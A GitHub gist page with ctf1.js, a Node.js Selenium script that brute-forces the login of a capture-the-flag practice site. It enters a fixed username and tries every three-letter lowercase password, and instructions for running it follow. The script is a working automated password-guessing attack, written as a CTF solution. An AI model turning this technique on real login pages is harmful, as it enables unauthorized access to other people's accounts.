Skip to content

Instantly share code, notes, and snippets.

@thepushkarp
Last active April 18, 2021 20:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save thepushkarp/5de3b3517055bd5fae5e1351441f461a to your computer and use it in GitHub Desktop.
Save thepushkarp/5de3b3517055bd5fae5e1351441f461a to your computer and use it in GitHub Desktop.
ctf1.js
const { Builder, By, Key } = require("selenium-webdriver");
async function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
async function breakCtf() {
console.log("Breaking CTF...");
const driver = await new Builder().forBrowser("chrome").build();
// Open the Home Page
await driver.get("https://iiitv-ctf-mains.surge.sh/");
// Wait for 3 second
await sleep(3000);
// Find the username input box and ente rusername
usrName = "pupa";
const usernameLocator = await driver
.findElement(By.id("username"))
.sendKeys(usrName);
console.log("Username entered");
// Password input box
const pwdLocator = await driver.findElement(By.id("password"));
// Signin Button
const signInBtn = await driver.findElement(By.className("btn-signin"));
// Signin Form
const signInForm = await driver.findElement(By.className("form-signin"));
// Array of letters
var letters = "abcdefghijklmnopqrstuvwxyz".split("");
// Bruteforce
for (var lttr1 of letters) {
for (var lttr2 of letters) {
for (var lttr3 of letters) {
await pwdLocator.clear();
var pwd = lttr1 + lttr2 + lttr3;
await pwdLocator.sendKeys(pwd);
console.log(pwd);
await signInBtn.click();
// signInBtn.sendKeys(Key.chord(Key.CONTROL, Key.ENTER));
// signInForm.submit();
}
}
}
}
breakCtf();
@thepushkarp
Copy link
Author

thepushkarp commented Feb 19, 2021

Steps to run:

  • Have Chrome Installed on your machine
  • Install Node.js
  • Save this file as ctf1.js
  • Run npm i selenium-webdriver in the same folder as the code
  • Run node ctf1.js in the console

@thepushkarp
Copy link
Author

I might not write the most elegant JS code. Contributions are welcome!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment